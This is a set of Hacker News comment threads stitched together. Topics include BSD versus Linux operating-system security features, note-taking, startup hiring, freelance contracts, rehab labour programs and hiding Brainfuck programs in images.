<comment><USER5> Shipping a targeted policy is simply a matter of practicality. Linux has actual 3rd party applications, and forcing all the vendors to either ship with policies or let the applications fail to run correctly would be a kiss of death to the MAC system. That was actually tried in the early days of SELinux, and it did not go well.

In fact that is why you even nowadays see "SELinux must be disabled" in application manuals. The early SELinux iterations really broke all the applications, and many people never took a second look at the technology. 9/10 of the application vendors that recommend disabling SELinux really don't do anything that would hit a targeted policy - the SELinux is already practically disabled for them. They just destroy the protection for the other software in the system...

Most common tweaking tasks can be found from booleans, and extra tweaks are easy to accomplish the help of audit2allow. However it baffles me to notice that audit2allow is not part of the default installations. It is a life saver that makes finding out why SELinux doesn't allow something really fast and easy.

</comment></comment></comment><comment><USER6> Being a pretty security conscious fellow, I would just like to say that we need more in depth and up to date comparisons like this. I would like it if more distros were added in though.

For example, while DragonFly BSD does not tout security as a strong point yet, I have been keeping an eye on them and am very impressed with some of the things they are doing and how they go about it. ([http://www.dragonflybsd.org/docs/newhandbook/Security/](http://www.dragonflybsd.org/docs/newhandbook/Security/))

I also have gotten tired of pam/selinux on linux, but have been running Alpine linux with grsec and am impressed at the default install level of security, and would like to possible see alpine put up against openbsd.

Minix 3 is too immature at the moment but I think pretty soon they are going to be at the level where they need to start thinking about security as well.

</comment><comment><USER7> Previous discussion on another blogposting of the same author: [https://news.ycombinator.com/item?id=8871705](https://news.ycombinator.com/item?id=8871705) Though, OpenBSD rarely supports hardware, since this isn't their goal.

<comment><USER8> I had three different Lenovo laptops that I used to experiment with the various BSDs. One fairly old (2009) and the other two were between 6 - <USER2> months old. On all three of them OpenBSD detected my hardware (wireless, sound, lan, etc) better than Net or Free did.

Anecdotal I know and I don't have specific model information in front of me at the moment but, at least in my case, I found OpenBSD to be the best choice for these laptops simply because when I finished installing, everything Just Worked.

Oh, and they sleep properly too...

<comment><USER9> Another anecdote: I had the same experience with my new Gigabyte laptop. OpenBSD 5.6 supported the hardware better than FreeBSD or Linux (Qubes-OS, which is based on Fedora). I ended up running OpenBSD on my laptop and FreeBSD on my servers: one leased physical box with lots of jails, and one hosted VM for redundancy.

I'd like to run OpenBSD on my servers, but acquiring the dozen or so machines I need for service separation is just not cost effective or resource efficient.

<comment><USER8> I do know what you mean there. After getting pretty much everything else I wanted working well I looked for a VM solution and was a little disappointed in the dev's attitude toward VM tech in general. I understand it but don't have to like it. :-)

I've used Linux for years and am only recently checking out BSD so I just kept Debian around for most of my servers.

I do like the new, very simple, httpd in OpenBSD though, been playing with that a lot lately.

<comment><USER10> If you watch the the ruBSD 2013 interview video with Theo de Raadt[1] at the 6:36, he states that they should take a shot at dealing with modern x86 VMs. That gives me quite a bit of hope along with the work on vmware related drivers in each release.

1) [https://www.youtube.com/watch?v=OXS8ljif9b8](https://www.youtube.com/watch?v=OXS8ljif9b8)

<comment><USER8> Thanks, I will check that out. Based on some comments he made in the past I thought hell would freeze over before Theo went that route! I can't find the original kernel trap post at the moment but it was pretty, um, Theo. But I think it's at least 7-8 years old now so I guess times change.

<comment><USER11> You're probably thinking of this post, I would guess? [http://marc.info/?l=openbsd- misc&m=119318909016582&w=2](http://marc.info/?l=openbsd- misc&m=119318909016582&w=2)

The x86 landscape has changed a bit between that post and the recent video linked upthread, though (e.g. addition of a bunch of hardware protection instructions aimed at virtualization), which might have led him to reevaluate.

</comment></comment></comment></comment></comment></comment></comment><comment><USER12> "arc4random implementations in FreeBSD and NetBSD aren't quite state of the art anymore" NetBSD's has been updated, now uses chacha20 and fixes the other issues (duplicated random number state on fork for example).

<comment><USER13> OpenBSD uses ChaCha20 since 5.5, as can be seen in the man page:

[http://www.openbsd.org/cgi- bin/man.cgi?query=arc4random&apro...](http://www.openbsd.org/cgi- bin/man.cgi?query=arc4random&apropos=0&sec=0&arch=default&manpath=OpenBSD- current)

</comment></comment><comment> dale-cooper It would be interesting to see how it compares to linux with grsecurity

<comment><USER14> I didn't go and research grsecurity, but I did do some overall research to see how Linux compares:

[https://news.ycombinator.com/item?id=8898152](https://news.ycombinator.com/item?id=8898152)

</comment></comment><comment><USER15> I wish someone from the FreeBSD project with authority and expertise would speak out instead of being silent when these discussions come up; a clearly communicated security roadmap would be nice. I suspect there's no desire to start internet flamewars or heated discussions about FreeBSD's security situation as they're weary of the discussions.

OpenBSD pioneers a lot of security research and best practices but I think many people get misled by all the hand waving and subsequently have more faith in certain features and less knowledge. I'm a victim myself.

As an example, I recently brought up W^X and wanted to know what the status / stance was and was met with a healthy dose of skepticism. As I was told, "W^X is very useful for debugging but not for security as the kernel has a read- write 1:1 map of all physical memory... you can still write to memory that will later be executed, you just have to use a different address" (not a direct quote) This was completely new information to me that nobody seems to talk about.

Likewise when I asked about securelevel=1 -- I was met with "securelevel is more likely to be removed entirely than enabled by default ... not convincing because there's no coherent model ... easy to work around as an attacker unless the system is very, very carefully configured, which means it's locked down beyond usability for most configurations ... though it's useful for jails since you can still do maintenance from the jailhost"

tl;dr I think the FreeBSD devs who can call the shots are more interested in ASLR and pushing Capsicum hard.

<comment><USER16> Whoever told you about that direct map "issue" didn't do their homework, and is talking out of their ass.

[http://cvsweb.openbsd.org/cgi- bin/cvsweb/src/sys/arch/amd64/...](http://cvsweb.openbsd.org/cgi- bin/cvsweb/src/sys/arch/amd64/amd64/locore.S?rev=1.61&content- type=text/x-cvsweb-markup)

<comment><USER15> Thanks for the link, I'll share it.

edit: would this prevent you from being able to support 1GB pages?

<comment><USER16> We don't use 1GB pages in the direct map today, and likely won't for some time. They aren't supported on all amd64 CPUs so if we decided we were interested in doing that, we'd need two types of direct map layouts, one to support CPUs that had 1GB page support and one that didn't. That seems like an awful lot of complexity for questionable gain.

edit: ... and if we did decide, in the future, to take advantage of 1GB page support in the direct map, I'd probably just break out the kernel area separately and continue to map it with 2MB pages.

<comment><USER15> Thanks for the reply. There's currently no support for 1GB pages in FreeBSD but someone provided a patch set that does it and has considerably improved performance for their network appliance workload. It needs to be reworked a bit before being merged, but I hope it will happen before 11-RELEASE.

<comment><USER17> > There's currently no support for 1GB pages in FreeBSD but someone provided a > patch set that does it

Probably others, but some of the discussion: [https://lists.freebsd.org/pipermail/freebsd- hackers/2014-Nov...](https://lists.freebsd.org/pipermail/freebsd- hackers/2014-November/046449.html)

</comment></comment></comment></comment></comment></comment><comment><USER18> What about NetBSD? Is it not relevant anymore anywhere?

<comment><USER19> It's used by plenty of embedded vendors. It just isn't generally deployed as a general purpose OS or server by most people. Not really the goal of the project either - their goal is generally "run on any piece of hardware ever created".

<comment><USER12> It makes a perfectly decent server OS and people do use it as exactly that. The portability goal is more about writing reasonable portable code, not running on everything, indeed it runs on fewer devices than Linux, but it is easy to port if you wish to.

</comment></comment></comment><comment><USER20> Ha, interesting. I wonder what the rate of cross-pollination is - the BSDs should, due to their license, easily be able to use code from the other BSD variants, right? So how come that FreeBSDs pf is kinda outdated, and OpenBSD hasn't adopted Jails, too? Is it due to different philosophies, NIH syndrome or simply not enough manpower?

<comment><USER12> Some code you can just drop in, other code needs more extensive changes because the internals are different. It would be interesting to map the cross pollination, there is a lot.

I believe jails is a philosophical issue, it is very hard to show that it actually provides isolation.

<comment><USER21> > I believe jails is a philosophical issue, it is very hard to show that it > actually provides isolation.

Indeed. In theory, the kernel runs at a security/isolation level above root, but in practice root can often subvert it.

That said, OpenBSD also offers rdomains, which aren't quite jails but provide a somewhat similar degree of network separation.

</comment></comment></comment><comment><USER22> I'm a web developer primarily, and I'm accustomed to Linux servers with the likes of CentOS and Ubuntu. I've been seeing a lot of talk lately about how secure *BSD is compared to Linux, and now Digital Ocean supports it. Is it something I should start looking into? What's the learning curve like for someone with moderate Linux experience? Where would I start?

<comment><USER23> If you are primarily a web developer who knows nothing about BSD, I don't think you want to choose BSD for security reasons. The underlying OS might be more hardened, but if you don't know the system and applications as well as you know in linux, it's more likely you'll have a configuration error that opens a gaping security hole.

<comment><USER17> For instance, the default mail system in FreeBSD is still sendmail ([https://www.freebsd.org/doc/handbook/sendmail.html](https://www.freebsd.org/doc/handbook/sendmail.html)). It's pretty easy to accidentally configure it as an open relay, even if you mostly know what you're doing. Until 10, BIND was the default DNS server ([https://www.freebsd.org/doc/handbook/network- dns.html](https://www.freebsd.org/doc/handbook/network-dns.html)), which has the same kinds of configuration problems.

</comment></comment></comment><comment><USER24> Interesting read! Thanks.</comment>


Ask HN: How do you keep notes while learning? - <AUTHOR> Hello HN, While learning, watching online courses, reading books I would love to keep notes in a way that I can easily access later to recall and improve. When I don't take notes, it does get overwhelming after few hours of study. I have tried Cornell notes method, writing down notes in a notebook and Evernote but with notebook writing, it can be hard especially if I'm reading or watching on my laptop.<p>In other words, what's your procedure for better learning and information retention? <comment><USER2> I don't take notes, and my memory isn't very good.

But when I take courses or try to learn something new, I'm often following along or applying it to a real project of my own.

The act of doing makes me a million times better at retaining information than writing notes.

Also I find that if you're at ground zero on a topic, then taking notes hurts you because it's extremely tedious and time consuming to take notes. I'd rather blaze through 3 books and get about 15% out of each book than meticulously take notes on 1 book. Chances are you're going to learn a lot more useful info in the same amount of time from the 3 book approach because when you're learning something new, getting to the 80% in the 80/20 rule is way more important than the fine details.

Trying to learn that last 20% from any material is often futile too. Real world experience is going to be a much better teacher at that point.</comment>


They thought they were going to rehab. They ended up in chicken plants - <AUTHOR> https://www.revealnews.org/article/they-thought-they-were-going-to-rehab-they-ended-up-in-chicken-plants/amp/ <comment><USER2> Wow very sad reading this. In general the idea of sparing someone from prison to go work in any kind of profit generating enterprise is a bad idea subject to abuse. Does anyone remember the Pennsylvania judge who got sentenced to 30 years in prison for accepting $2 million or something in kickbacks for putting kids UNDER 18 in a for profit youth prison for even the most minor offenses?

It was horrible, people who were 16 were getting 6 months in prison for shoplifting a DVD (not even Blu-Ray) from Walmart so that way the prison company could bill for them.

[https://en.wikipedia.org/wiki/Kids_for_cash_scandal](https://en.wikipedia.org/wiki/Kids_for_cash_scandal)</comment>


Taylor Swift and 179 artists urge Congress to update copyright law - <AUTHOR> https://www.engadget.com/2016/06/21/taylor-swift-and-179-artists-dcma-reform-petition/ <comment><USER2> Oh so the want firmer restrictions. You know what? I think Maddox said it best, why this is BS:

[https://youtu.be/-GTAVsMqa-U](https://youtu.be/-GTAVsMqa-U)</comment>


Amazon EC2 Costs Compared - <AUTHOR> http://www.gauravsharma.com/Costs#EC2 Some general observations: + Going Windows is almost twice as expensive + Going Reserved approximately halves costs <comment><AUTHOR> Some general observations: 1) Going Windows approximately double costs. 2) Going Reserved approximately halves costs.</comment>


Google target of new U.S. antitrust probe by state attorneys general - <AUTHOR> http://news.trust.org/item/20190903210113-83x0y <comment><USER2> Google is doing several nefarious things lately, it's almost like the motto "don't be evil" was removed by a change in direction.</comment>


Ask HN: Searching for a technical co-founder - <AUTHOR>

Who we're looking for:
An extremely talented, self-starting engineer. A true technical co-founder who will challenge, influence, and ultimately drive technical product development; someone who wants to join for the long-haul and be a core piece of building this company.
What the business does:
Our product is an innovative way to collect and share media captured at live events. If you are a fan of concerts, sporting events, or generally attending live events then this would be for you.
Currently, sharing media from live events is limited to the people you "know" through social networks (Facebook, Twitter). This media is scattered in lots of different places, making it impossible to aggregate and difficult to search. We're going to fix that by giving users a way to digest content centered on the experience itself, not just the people sharing it.
Note: We are not sharing full details of our plan in this post, but we have detailed mock-ups to share with the right candidate in a one-on-one conversation.
What we'd ideally like you to be able to do:
We are flexible on language and frameworks - one of the key roles will be to determine the technical architecture that best suits the current and future needs of the business.
With that said, here is what we think we might need that isn't language and framework related: ● Experience with cloud hosting infrastructure (Amazon Web Services, Rackspace etc.) ● Strong enough front-end capabilities to build web prototype ● Comfort with developing in iOS & Android platforms ● Comfort managing the growth of an engineering team in the long-term
Most importantly, the technical co-founder should
be a broad generalist who can work on all areas of the stack (front-end, back-end, monitoring, deployment), building and managing a team over time.
A final thought... We take recruiting and hiring a technical co-founder extremely seriously. We realize engineering is a priority, and this start-up will succeed or fail because of its engineering talent. We want you to be the leader of this team, and we are willing to do what it takes to create an incredible engineering culture and environment. How to get in touch:
Contact us at firstname.lastname@example.com and let us know you're interested. <comment><USER2> How do you differ from Color?

Where are you based?

How many are on your team?

Are you funded?

What are the other team members backgrounds?

Those are the questions I'd be asking if I was interested.

<comment><AUTHOR> Great questions...

-Color is focused on proximity sharing & social voyeurism, we are focused on the content generated from events people care about. We're happy to share quite a bit more detail in a 1:1 conversation...

\--Based in SF, but okay with remote work from the NY area

\--2 of us right now -- one is a consultant at a top-tier firm, the other specializes in marketing/design and is currently working at a major tech co.

Also, main advisor was the founder of a former Google-acquired company ($70M acquisition)

\--Not funded yet, working to build a prototype first and focus on efficiency (another major difference from Color)

IF you become interested, feel free to reach out to chat more. :)

<comment><USER2> Thanks for the reply - good answers. I'm in the UK so location matters a lot to me, I'm also not really looking for new opportunities at the moment, but I thought it would be useful for you to see the kind of questions that I would expect to see answered. Good luck with finding a co-founder, and good luck with the prototype.

Purely out of interest, (and feel free to not share), what's your strategy on MVP and launching? I ask because it's been a common pattern at places I've worked to sink time into prototypes without proof of market, so I'm personally pretty sold on a fail-early approach.

edit: the 'focus on efficiency' sounds like it could be premature optimisation. No point building something that can scale to a bajillion users if you only get 100 on launch day. Just saying :)

<comment><AUTHOR> Thanks for the follow-ups -- a few more answers for you...

First, appreciated the feedback, even if you're overseas! If you know any eng folks in the SF area, please feel free to put them in touch.

As far as MVP/launching --> we are very much focused on getting a prototype into users' hands (whether in Beta or publicly) as soon as possible. We've done a hefty dose of market research and have put a lot of time into sizing & outlining our go-to-market strategy (these things are in line with our strengths and skill sets.)

The fail-early approach is the best one in my eyes as well, and when I reference optimization it's really about stripping functionality to make sure we are offering a clean UI/UX & suite of features, and are not over-zealous. A lot of apps just try to do too much, and that's a trap we won't fall into.

Scale will come after our prototyping and launch, that's for sure...so you're point is well taken.

Stay tuned!

<comment><USER2> Great answers again. Sorry you didn't get more exposure from this HN post, sounds like you've got a good idea where you're going and how to get there, and it's an interesting area you're working on. I'll look forward to hearing more when you're ready to show something in public. Feel free to tweet me @user24 if you update on HN or elsewhere. Cheers.

<comment><AUTHOR> Any idea how I get the post to the "Ask" section and not just "New"?

<comment><USER2> Just prepend "Ask HN:" to the title and it'll automagically go there I think ;)</comment></comment></comment></comment></comment></comment></comment>


Rihanna uses unix "nmap" to hack computer in new movie Ocean's 8 - <AUTHOR> https://nmap.org/movies/#oceans8 <comment><USER2> Always nice when movies go beyond the usual "do show source on the movie's website and have it scroll in a translucent overlay."

<comment><USER3> And the source code is usually html

</comment></comment><comment><USER4> The hacking was believable in this movie. Hollywood seems to learn and do their homework.

Some things were fiction, but one can imagine we're probably not too far off in the future for such technologies.

</comment><comment><USER5> Trinity did it first in The Matrix

<comment><USER3> That's true. Also the exploit she is hacking was a real exploit although it was patched a long time back

<comment><USER6> Actually, when she used the exploit, it was around the year 2000 in the matrix. And this exploit was discovered in 2001 in the real world. So it would not have been patched yet as it was a zero day.</comment></comment></comment>


I am starting a newsletter about UX - <AUTHOR> http://uxready.com/

<comment><USER2> Disclosure: I run Ruby Weekly and JavaScript Weekly.

First, good luck. Second, improve that page double quick! :-) It's an uphill battle getting people to trust you with their email address and so you need to do at least the minimum to look reputable. My approach - which converts like gangbusters - is to include a screenshot preview of the newsletter. If you look up my sites above, you'll see what I mean. I get a conversion rate of 70-80%. Yet while your newsletter may be awesome, I'm hesitant to sign up because it just doesn't smell right yet.

<comment><AUTHOR> Thanks a lot for the feedback, Peter. I will definitely do the changes you suggested.</comment></comment>


3D-printable ice house could be our home on Mars - <AUTHOR> http://www.cnet.com/au/news/3d-printable-ice-house-could-be-our-home-on-mars/ <comment><USER2> And we'll have servers racked in containers, powered by nuclear reactors, networked by quantum entangled ethernet, shielded and hardened, floating in the depths of space. Cooling will be no problem.</comment>


Show HN: Goodgigs – invoice builder that also helps raise funds for nonprofits - <AUTHOR> https://goodgigs.app/freelancers <comment><AUTHOR> Hello hackers!

I'm Dale. I just launched this invoice builder for freelancers to create and send invoices for free while helping raise funds for nonprofits who need creative work done. Similar to when supermarkets ask you to round up for charity, the difference here is that when a nonprofit gig is funded, the money raised is circulated back to the pockets of freelancers in the goodgigs community. The mission is to help freelancers create meaningful careers by allowing them to work on gigs and causes they're passionate about and get paid for it.

I would love any feedback on;

\- The general design of the landing page. I built this with no-code platform Bubble.

\- Is the copy clear? Is the mission of goodgigs and the benefits clearly communicated?

Thank you!

</comment><comment><USER2> Looks pretty good! Even just skimming the page I get the message of how i works and how it would benefit me. Kudos for adding screenshots so the user is already familiarized with the product. My only recommendation is to be more clear at the end: "Get started now for free" That's confusing because the first impression is that it is free, so the idea that I might get charged later makes me take a step back.

<comment><AUTHOR> Great point! Will change that now. I've had some amazing feedback on the copy, so updating this afternoon. Thanks for taking the time to check it out and give feedback</comment></comment>


Photographer Shoots Formula 1 with 104-Year-Old Camera, and Here's the Result - <AUTHOR> http://www.intoourworld.com/photographer-shoots-formula-1-with-104-year-old-camera-and-heres-the-results/ <comment><USER2> Cached version here : [http://webcache.googleusercontent.com/search?q=cache:http://...](http://webcache.googleusercontent.com/search?q=cache:http://www.intoourworld.com/photographer- shoots-formula-1-with-104-year-old-camera-and-heres-the-results/)

</comment><comment><AUTHOR> I need to learn to take a snapshot of sites before submitting them ...</comment>


Rails Code Quality Checklist - <AUTHOR> http://gilesbowkett.blogspot.com/2009/09/rails-code-quality-checklist-here.html <comment><AUTHOR> And the linked checklist: [http://www.matthewpaulmoore.com/ruby-on-rails-code- quality-c...](http://www.matthewpaulmoore.com/ruby-on-rails-code-quality- checklist)</comment>


AMC Theaters will no longer play Universal movies after on-demand success - <AUTHOR> https://www.theverge.com/2020/4/28/21240637/amc-theaters-universal-trolls-world-tour-disney-warnermedia-digital-streaming <comment><AUTHOR> Always wanted movies to be available right away on-demand, sometimes you just do not want to go to theaters...

Also not sure if AMC in position to do stuff like this right now..</comment>


Are there any rooms for new Web based applications? - <AUTHOR> I am wondering that is there anything left to built.
Is it nonsense to built another CRM whereas Salesforce is alive or another project management tool despite the fact of Basecamp.
What do you think about new opportunities? <comment><USER2> Well, the nice thing about building a product when there is already one that exists is that at least you know there is a market that is ready to pay for the service. The bad thing of course is that if you can't bring some kind of disruptive tech to the battle, the entrenched player is probably going to stomp you. Start-ups win against entrenched players when they can move faster, thanks to leveraging a new technology, whereas the older competitor continues to lumber along using technology that was optimised for a time when hardware or bandwidth or whatever was more expensive.

At any rate, I doubt that we have successfully filled the entire space of web apps. As bandwidth becomes less of an issue for example, we should be able to start doing video editing on line. Or how about a decent competitor to Garageband? That doesn't exist online yet, and yet there isn't really any reason that it couldn't be done right now.</comment>


Sharing what matters - <AUTHOR> http://www.economist.com/printedition/displaystory.cfm?story_id=9249171

<comment><USER2> Storing the data in a "coherent way", as tfa says when it refers to schemas in a relational database, is what makes "asking questions" fast. Freenode's goal is to remove the schema and replace it with a graph to allow "any type of question" to be asked and make the data less structured. It's a great idea, but this will surely be much slower when it comes to asking any moderately complicated question.

<comment><USER3> But once the data is there, you can re-arrange it however you want for your own purposes.</comment></comment>


Ask HN: Is there any open source self hosted e-sign alternative to docusign? - sahin-boydas <comment><AUTHOR> Isn't Docusign et al acting as a defacto independent notary? How would one be able to host and control something like that themself?</comment>


Ask HN: Who are you? - <AUTHOR> We have an interesting community here so it would be nice to get an idea of people's backgrounds. What you do, how you got to where you are now, how you found HN, etc. Maybe reading about other people's life paths could inspire others. <comment><USER2> Honestly, I like the anonymity. The random celebrity like patio11 is nice as they usually drop knowledge bombs,but otherwise, I feel like we're all the same, working on our projects. If anything, HN makes me feel like anyone can do anything because that's what startups are about.

When this anonymity slightly fades, the idea of a meritocracy fades with it. I know I could make more money working on the west coast. I know the work I'm doing isn't sexy. But my project is fucking interesting and on HN that's all that matters.

</comment><comment><USER3> Spartacus

<comment><USER4> I'm Spartacus!

</comment></comment><comment><USER5> Me

</comment><comment><USER6> Who Who</comment>


Ask HN: Disklike of modern trends == Becoming a relic? - <AUTHOR> I have been in IT and software roles for 3 decades, yet nowhere near retirement. I still get a lot of stuff done (solo and teams), but only feel productive when pragmatic approaches are taken. I often find a carefully written but quick prototype is valuable while laying the foundation for a permanent system to be built if needed. Problem is, most of my company insists on first developing fully fledged platforms that attempt to solve years of future assumptions, while the business waits and engineers work excessive hours.
If I suggest a simpler prototype approach, incorporating internal customer feedback, with a second long term cycle of engineering, the response from peers and management borders on disdain or contempt. I am a team lead and get this response from all angles.
I'm no tech stick in the mud. Where scripting and RDBMS worked for 20 years, I incorporate "new things" where needed: Go for speed, Spark and S3 where vertical systems don't scale; Rust when performance of a non-GC language is needed.
Conflict occurs when I resist over engineering: _Everything_ in a container; Kubernetes by default, as in 10 node clusters (am aware of its utility in much larger deployments);  Clever code that will be extra work for future contributors to grok. Anywhere resume driven development appears to be creeping in.
I believe one of the responsibilities of management (and team leads) is to reign in architecture astronauts, but I  rarely see it and am discouraged from doing so, in some cases due to fear of upsetting the "10X engineers" [1].
I have seen this across 4 companies in 15 years, with increasing severity. Is "build to minimum requirements" no longer appropriate? Have I selected roles poorly, and my experience is abnormal? Do people still just get stuff done both in the short and long term [2]?
Or is it time to hang up my spurs and take up golf? <comment><USER2> If you're a relic then I'm one too.

The trends I blame are 1) computing power has become so crazy cheap these days that nobody cares about overengineering or even doing engineering at all, 2) lower quality of software developers; back in the day, it took deep interest (since software wasn't as lucrative a job) and considerable skill (since computers were very limited) to enter the software industry and succeed, and 3) fetishization of the latest software development fads. These trends are too large to successfully be bucked but, hey, there are worse places to be than being paid well to watch other people flush their own money down the drain.

<comment><AUTHOR> > fetishization of the latest software development fads

Fetisization is a term I will likely be using more now.

> watch other people flush their own money down the drain

I'm not concerned with a lack of cost efficiency, unless my team's job (and income) security is risked due to a failure to deliver in a timely fashion.

I also tire of arguing about why I won't deploy a 4 node K8S cluster and am therefore not a team player.

> there are worse places to be than being paid well

Definitely a good counter point to the positive.

</comment></comment><comment><AUTHOR> [1] For context I put zero belief into the idea of the 10X engineer or full- stack developer. Most real world projects are addressed by a _team_ of people that must work in concert. The idea that one of them is superior to the rest is toxic - and most often nothing more than an overgrown ego.

[2] "Get stuff done" != "Break shit and move fast". That is an entirely different problem. I'm not referring to disrupting industries or putting people in space. I'm referring to typical, somewhat mundane business technology.

</comment><comment><USER3> It seems to lowly-old me that you come-across as possibly tired of exceeding your BS/reward ratio.

If so, a vacation/sabbatical could be needed if it's a temporary thing. If it's permanent, finding a promising startup with a defensible business model to be a first-round employee might be a better option. They skew towards hiring A-players (not always, but usually).

If staying for some time: Popularity != engineering soundness. Fools and novices are allergic to simple, especially if they've never built solid anything at scale or worry about work being taken from them. It doesn't sound a collaborative/consensus environment either, maybe a toxic, religious, adversarial one containing outsized egos who want _their_ solutions advanced because it's job security for them, and anything else gets in _their_ way. You could try asking them what are their specific objection(s) to seek their honest feedback. Using self-deprecation can be helpful too.

Personally, I don't use Go anymore for the past 2-3 years. I prefer Rust for speed, Haskell for generality and Crystal for rapid prototyping. I'll use anything to get a job done, because real customer problems and real solutions are rarely perfectly-crated masterpieces in your favorite tech stack.

IMHO, Go got too popular, fashionable and full of needy noobs who dragged the ecosystem down. (Ironically, I remember telling a head-hunter in about 2011 he was dead wrong and to never call again since he arrogantly proclaimed Go was going "nowhere.") I hate K8s and systemd because they're overkill, "emperor's new clothes" amoeba-ware that are poorly-conceived, poorly-executed and of marginal benefit compared to what they replaced. It's important that "new" projects crammed down our throats because of celebrity and techno- fashionabilism not be easily compared to today's latest flavor Javascript library. Only after exhausting attempts to fix deficiencies in existing solutions, then deeply consider/seek feedback about the impacts, UX, behavior and interop of proposal through project-based RFCs.

That's my 2c from ~25 years being a code monkey punching buttons on glowing boxes; and maybe I'll accidentally write Shakespeare one of these days. ;-)

<comment><AUTHOR> > It seems to lowly-old me that you come-across as possibly tired of exceeding > your BS/reward ratio.

I think you nailed it.

> You could try asking them what are their specific objection(s) to seek their > honest feedback.

"It won't support our needs in 1-5 years" (The projects in question are not supporting our needs for the next 0-12 months).

> Using self-deprecation can be helpful too.

Agreed, but in the current case it seems to embolden those who do not wish to discuss alternatives.

Which is another problem I neglected in my post: The mere suggestion of alternative approaches threatens our 10X egos, and communications tend to degrade at that point.

Sometimes the solution - for the mental health of all involve - is to step back and let bad decisions play out, while working on independent tasks. I consider it bad leadership, but there is also something to choosing one's battles.

A sabbatical does indeed sound like a good way to reset. After all this time of never taking a break by choice, its definitely something I have to figure out: How to truly disconnect without spending everyday planning what happens after the sabbatical is complete.</comment></comment>


Ask HN: What would you do? - <AUTHOR>

I found a startup on Craigslist that I've been doing freelance work for,  for about a week now.
I just got paid last week but now the startup wont sign my contract listing things like hourly rate,  payments,  and so on... Pretty basic stuff no crazy clauses or anything.
They refuse to sign my contract but want me to sign theirs... Much much longer (10pages)
As freelancers - how have you dealt with a client who won't sign your contract but wants you to sign theirs?
Thanks <comment><USER2> From their perspective it's probably as reasonable for you to sign their contract as for them to sign yours. That said, you should definitely read and understand what you're signing, suggest revisions before signing, and pass it by a lawyer. I'll admit though, I am comfortable not consulting my lawyer for some things and it can make it easier to negotiate when you can send the contract back immediately with revisions (I've in the past struck parts of overly broad non-competes, agreements to help in any future litigation or patents, agreements to jurisdiction on disputes, gag/disparagement clauses, etc).

<comment><AUTHOR> What if they refuse to make revisions?

</comment></comment><comment><USER3> Just keep in mind that many actions by a startup can be attributed to "we just don't have the money". Meaning, they probably had enough money to pay a lawyer to draw-up/review the contract they're asking you to sign...while they _dont necessarily_ have the money to hire another lawyer to review yours.

I wouldn't be offended, just read it carefully and try to work with them.

<comment><AUTHOR> Appreciate this feedback - thanks.

</comment></comment><comment><USER4> You're talking about continuing to work with them, right?

It is possible that it is just a technicality, I guess. I would probably ask them why they want me to sign their contract over my own before I just bailed on them.

My decision would then be based on both how reasonable their answer was, as well as a close reading of the contract

</comment><comment><USER5> Sounds sketch... but you already got paid right? If so, move on and find some more freelance work.

As for their contract? Tell them you won't sign until they reciprocate the favor.

</comment><comment><USER6> This sounds like one of those situations where everything is telling you to bail but you don't want to miss out.

How many hours have you spent thinking about this contract?</comment>


Ask HN: Computer Science university courses in the UK - <AUTHOR> I'm currently looking for universities to study Computer Science in the UK.<p>I was wondering, has anyone here got any advice on good courses/places to go? I tend to prefer more practical programming to theory, though quite frankly both interest me. <comment><USER2> What universities are you considering?

Visit. Talk to faculty. Talk to students. Consider the community in which the university is located. Decide if it is some place worth living for four years or so. As much as possible, don't make your decision based on what you imagine the university experience to be, e.g. without a deep experience in computing theory at the university level, choosing a programming focus over it is mostly a guess...or at least hopefully it is since university should broaden a person's perspective rather than confirm it.

Good luck.

</comment><comment><USER3> > I tend to prefer more practical programming to theory

And yet you're asking about a Computer _Science_. Why? You should be looking for a Software Engineering course instead.

<comment><AUTHOR> Because I still find the theory interesting, I'd just prefer a CS course that tends a bit more towards the practical than the theoretical. Having seen a lot of the optional modules at several universities it looks like this would definitely be doable.

Plus the few courses I've seen in Software Engineering are a lot less diverse than those in CS.</comment></comment>


Steganography with Brainfuck - <AUTHOR> http://imrannazar.com/Steganography-with-Brainfuck

<comment><USER2> > Steganography is a name given for a set of encryption techniques, where the > targeted message is hidden inside an image in some form.

Actually, steganography is not a type of encryption, and is simply the process of hiding a message, be it inside of an image, another message, the closing values of the DJIA, or not inside of anything at all.

I'm curious why you didn't simply duplicate the palette 16 times, then use the gray values in 0x0X, and the brainfuck character component in 0xX0. You'd be able to fit vastly more brainfuck data into an image, depending on the characteristics of the image and the code.

<comment><AUTHOR> You make a fine point. Amended the intro.

The original idea that popped into my head was, "what if an image was a BF program?" With compression and/or palette reorganisation, of course more BF can be fit into an image, but it wouldn't be a pure BF program.

</comment></comment><comment><USER3> So the basic idea is that a BF interpreter will ignore any non-BF characters?

How about, if you'd take an 8 bit grayscale image, and allow each pixel a margin of error, say 2 values up or down. Then you could process the pixels sequentially while looking for the next value that is within the range of +/- 2 of your next BF token and adjust it to the correct value. If instead you happen upon an incorrect BF token, you can also adjust it so that it either turns into the correct one or a non-BF instruction byte.

Of course there's no guarantee that you'll be able to fit the whole program since you'll be skipping a lot of pixels. But an image is big and the message is short, so there's a good chance. Especially if you retry with different BF encodings of the same message, and failing that upping the error margin to +/- 3, then +/- 4, etc.

<comment><AUTHOR> Mm, sounds like a plan. In taking the 8-bit greyscale image down to 4-bit, I've essentially introduced a margin of error of +/- 8, which explains why the message was able to fit into just the first ten or so rows of a 128-row image.

A higher palette resolution would, as you say, increase the amount of space taken by the message, but would result in a higher fidelity of the image.

<comment><USER3> Another idea is to substitute the eight BF instructions to different bytes. Right now the byte-values for most instructions are within 1 or 2 values from eachother.

You'd need a modified interpreter, though, but by picking different values for the BF instructions, spaced further apart in the 0-255 range, you'd get less collisions (incorrect BF tokens appearing at the wrong spot in your stream).

Another possibility would be to pick different code points for each image/message encoded. Though you'd need another channel to specify which 8 bytes encode for which BF tokens. You could even _not_ specify it, but limit the choices for the 8 byte values and try all combinations, then see which ones decode to a string that comes closest to character distribution in English language (this is the same method used by online translators to determine source language, character distribution is highly distinctive).

</comment></comment></comment><comment><USER4> It seems like this would be pretty easy to do with XPM2. Duplicate certain colours as [.,<>+-] (at the beginning of a program, that's a no-op) and insert the program into the pixel data. It's probably less well-hidden though, since someone's more likely to look at it in a text editor.

<http://en.wikipedia.org/wiki/X_PixMap#XPM2>

</comment><comment><USER5> This looks like 'snake oil'. What exactly is the purpose of using the brainfuck code instead of the message itself? Surely, if steganography fulfilled its purpose and the message was not discovered, then the simplest/most compact form of the message would have been the best. On the other hand, if the message was discovered, then brainfuck does not represent much of an obstacle to reading it.

<comment><USER3> > This looks like 'snake oil'. What exactly is the purpose of using the > brainfuck code instead of the message itself?

Hackery, pretty much.

> if the message was discovered, then brainfuck does not represent much of an > obstacle to reading it.

